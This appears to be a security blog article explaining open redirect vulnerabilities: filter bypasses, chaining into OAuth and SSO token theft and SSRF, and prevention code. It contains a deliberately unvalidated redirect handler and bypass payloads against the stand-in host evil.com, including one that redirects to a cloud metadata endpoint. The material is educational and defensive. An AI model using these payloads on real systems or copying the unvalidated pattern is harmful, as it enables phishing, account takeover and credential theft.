Open Redirects: The Underestimated Phishing Amplifier
Open redirects sit in an uncomfortable place in vulnerability classification. They are routinely dismissed as informational or low-severity findings, yet they appear as a prerequisite in some of the most impactful attack chains in modern web applications. The vulnerability is simple: an application takes a URL from a request parameter and sends the user's browser to that URL without checking whether the destination is legitimate. The consequences range from convincing phishing campaigns to full account takeover through OAuth token theft.
The core issue is trust. Users trust the domain in their browser's address bar. When a link starts with login.legitimate-service.com, the average user — and many security-aware users — will click it. If that domain redirects them to an attacker-controlled page that looks identical to the login form, the phishing attack succeeds at a rate far higher than a link from a random domain would.
How Open Redirects Work
The most common pattern is a redirect parameter appended to a URL. After login, after logout, after completing an action — the application needs to send the user somewhere, and it reads that destination from the request:
https://app.example.com/login?redirect_url=https://app.example.com/dashboard
The application authenticates the user and then issues a redirect:
@app.route("/login", methods=["POST"])
def login():
user = authenticate(request.form)
if user:
redirect_url = request.args.get("redirect_url", "/dashboard")
return redirect(redirect_url)
return render_template("login.html", error="Invalid credentials")There is no validation on redirect_url. An attacker crafts:
https://app.example.com/login?redirect_url=https://evil.com/harvest
The user sees a link to app.example.com, logs in with real credentials (the login is genuine), and is then silently redirected to the attacker's page. The attacker's page can display a "session expired, please log in again" message, capturing credentials a second time — this time sending them to the attacker.
Common Redirect Parameters
Open redirects hide in many parameter names across different frameworks and applications:
?redirect_url=
?redirect_uri=
?return_to=
?next=
?url=
?dest=
?destination=
?redir=
?return_url=
?go=
?checkout_url=
?continue=
?target=
?rurl=
?forward=
Any parameter that controls where the user ends up after an action is a potential open redirect vector. Login flows, logout flows, email verification links, password reset completions, payment callbacks, and post-registration pages are all common locations.
URL Parsing Bypasses
Most developers who attempt to fix open redirects implement validation. Most of those implementations are bypassable because URL parsing is more complex than it appears.
Basic Domain Check Bypass
A naive check might verify that the URL contains the expected domain:
def is_safe_redirect(url):
return "example.com" in urlThis is trivially bypassed:
https://evil.com/example.com
https://example.com.evil.com
https://evil.com?x=example.com
https://evil.com#example.com
Protocol-Relative URLs
Validating that a URL starts with / (a relative path) seems safe, but protocol-relative URLs break this assumption:
//evil.com/path
A browser interprets //evil.com/path as a full URL using the current page's protocol. The validation sees a path starting with /, but the browser navigates to evil.com.
Backslash Confusion
Some URL parsers treat backslashes and forward slashes interchangeably, while others do not:
https://app.example.com/redirect?url=https://evil.com\@example.com
The parser may see example.com as the hostname (interpreting \@ as part of the userinfo component), while the browser navigates to evil.com.
URL Encoding and Double Encoding
https://app.example.com/redirect?url=https%3A%2F%2Fevil.com
https://app.example.com/redirect?url=https%253A%252F%252Fevil.com
If the application decodes the URL before validation but the redirect target is decoded again by the browser or a downstream component, double-encoded payloads slip through.
Userinfo Abuse
The URL specification allows a userinfo component before the hostname:
https://app.example.com@evil.com
A human reads app.example.com and trusts it. The browser sends the request to evil.com, treating app.example.com as the username component. Some browsers have mitigated this, but server-side redirect logic may still follow these URLs.
Null Bytes and Whitespace
https://evil.com%00.example.com
https://evil.com%0d%0a.example.com
Null bytes and control characters can terminate string comparisons in some languages while being ignored by HTTP clients, causing the validation to see example.com while the actual request goes to evil.com.
Chaining: Where Open Redirects Become Critical
The standalone impact of an open redirect is a more convincing phishing link. The real danger is what happens when open redirects chain with other mechanisms.
OAuth Token Theft
OAuth 2.0 uses a redirect_uri parameter to tell the authorization server where to send the authorization code after the user grants consent. Strict redirect_uri validation is required by the specification, but implementations vary.
Scenario 1: Lax redirect_uri matching. The OAuth provider allows any path under the registered domain. The attacker finds an open redirect on the application:
https://app.example.com/go?url=https://evil.com/steal
They register the OAuth flow with:
redirect_uri=https://app.example.com/go?url=https://evil.com/steal
The OAuth provider validates that the domain matches (app.example.com) and issues the authorization code. The application's open redirect forwards the code to the attacker:
https://evil.com/steal?code=AUTHORIZATION_CODE
The attacker exchanges the code for an access token. Account takeover complete.
Scenario 2: Exact redirect_uri matching with path traversal. Even with exact path matching, URL normalization differences between the OAuth provider and the application can create gaps. If the provider normalizes /../ sequences but the application does not (or vice versa), path traversal can redirect the callback to a different endpoint that contains an open redirect.
SSO Bypass
Single sign-on implementations often pass the target service URL as a parameter. If the SSO system redirects the authenticated user to a URL without strict validation, an attacker can redirect the SSO token or session to a malicious service, capturing the authentication artifact.
https://sso.corp.example.com/auth?service=https://evil.com/capture
The user authenticates against the legitimate SSO. The SSO system generates a service ticket and redirects the user — along with the ticket — to the attacker's server. The attacker replays the ticket against the legitimate service.
SSRF Escalation
When a server-side component follows redirects, an open redirect becomes an SSRF vector. An application that validates fetched URLs against an allowlist can be bypassed if the allowed URL returns a redirect:
# Server-side URL fetcher with allowlist
if urlparse(url).hostname in ALLOWED_HOSTS:
response = requests.get(url, allow_redirects=True) # Follows redirectsThe attacker provides a URL on an allowed host that has an open redirect:
https://allowed-host.com/redirect?url=http://169.254.169.254/latest/meta-data/
The validation passes (the hostname is allowed). The request follows the redirect to the cloud metadata endpoint. The SSRF protection is completely bypassed, and the open redirect — a "low-severity" finding — has enabled access to cloud infrastructure credentials.
Content Security Policy Bypass
If a Content Security Policy includes a domain with an open redirect in its script-src or default-src directives, the redirect can be used to load scripts from arbitrary domains, bypassing the CSP entirely.
Real-World Impact
In a security assessment of a large e-commerce platform, the login flow contained an open redirect via the return_to parameter. The application checked that the URL started with /, but accepted protocol-relative URLs. The attacker crafted:
https://shop.example.com/login?return_to=//evil.com/phish
After logging in with valid credentials, the user was redirected to a clone of the checkout page. The clone requested payment card details to "verify the account." The legitimate login flow made the entire chain appear trustworthy.
In another engagement, a financial services platform used OAuth for third-party integrations. The OAuth provider matched redirect_uri by prefix rather than exact match. An open redirect on a marketing subdomain (info.platform.com/go?url=...) was within the allowed prefix. The redirect chain delivered authorization codes to an external server, granting full API access to user accounts including transaction history and balance information.
Prevention
Allowlist-Based Validation
The only reliable defense is an allowlist of permitted redirect destinations:
from urllib.parse import urlparse
ALLOWED_REDIRECT_HOSTS = {"app.example.com", "dashboard.example.com"}
ALLOWED_SCHEMES = {"https"}
def validate_redirect(url: str) -> str:
"""Validate and return a safe redirect URL, or fall back to default."""
if not url:
return "/dashboard"
parsed = urlparse(url)
# Block protocol-relative URLs
if url.startswith("//"):
return "/dashboard"
# Allow relative paths (but not protocol-relative)
if not parsed.scheme and not parsed.netloc:
# Ensure it starts with / to prevent relative path tricks
if url.startswith("/"):
return url
return "/dashboard"
# Validate absolute URLs against allowlist
if parsed.scheme not in ALLOWED_SCHEMES:
return "/dashboard"
if parsed.hostname not in ALLOWED_REDIRECT_HOSTS:
return "/dashboard"
return urlIndirect Reference Maps
Instead of passing raw URLs in parameters, use opaque tokens that map to destinations server-side:
REDIRECT_MAP = {
"dashboard": "/dashboard",
"settings": "/account/settings",
"billing": "/account/billing",
}
@app.route("/login", methods=["POST"])
def login():
user = authenticate(request.form)
if user:
target = request.args.get("next", "dashboard")
redirect_url = REDIRECT_MAP.get(target, "/dashboard")
return redirect(redirect_url)The user never controls the actual URL. The parameter value is a key in a server-side dictionary. There is no URL to parse, no encoding to decode, no hostname to validate. The attack surface is eliminated.
Framework-Level Protections
Most modern web frameworks provide built-in redirect validation. Use them instead of implementing your own:
# Django's built-in safe redirect check
from django.utils.http import url_has_allowed_host_and_scheme
def login_view(request):
redirect_to = request.POST.get("next", "/")
if url_has_allowed_host_and_scheme(
redirect_to,
allowed_hosts={request.get_host()},
require_https=True
):
return HttpResponseRedirect(redirect_to)
return HttpResponseRedirect("/")OAuth-Specific Defenses
For OAuth implementations, enforce exact redirect_uri matching. Do not match by prefix, domain, or pattern. The registered redirect_uri and the one in the authorization request must be byte-for-byte identical. Reject requests where redirect_uri contains encoded characters, fragments, or unusual URL components.
Testing for Open Redirects
- Identify all redirect parameters — Login flows, logout flows, email links, payment callbacks, OAuth callbacks, deep links
- Test absolute URLs —
?next=https://evil.com - Test protocol-relative URLs —
?next=//evil.com - Test URL encoding —
?next=https%3A%2F%2Fevil.com - Test backslash variations —
?next=https://evil.com\@legitimate.com - Test userinfo abuse —
?next=https://legitimate.com@evil.com - Test null bytes —
?next=https://evil.com%00.legitimate.com - Test path-based redirects —
?next=/\evil.com,?next=/.evil.com - Verify OAuth redirect_uri matching — Is it exact, prefix, or pattern-based?
- Check server-side redirect following — Does the application follow redirects when fetching URLs?
Key Takeaways
Open redirects are a trust exploitation vulnerability. They convert the reputation of a legitimate domain into a weapon for phishing, token theft, and security control bypass. The standalone impact is moderate, but the chaining potential is severe:
- Open redirects amplify phishing by borrowing domain trust from legitimate applications
- OAuth and SSO flows are especially vulnerable because they transmit authentication artifacts via URL parameters
- Server-side redirect following turns open redirects into SSRF vectors
- URL parsing is complex enough that blocklist and pattern-based validation will eventually be bypassed
- Allowlists and indirect reference maps are the only reliable prevention strategies
The severity of an open redirect depends entirely on what it can be chained with. Before dismissing it as informational, check the OAuth flows, the SSO implementation, and any server-side URL fetching. The redirect itself may be low-impact; what it enables may not be.
Need your application tested for this? Get in touch.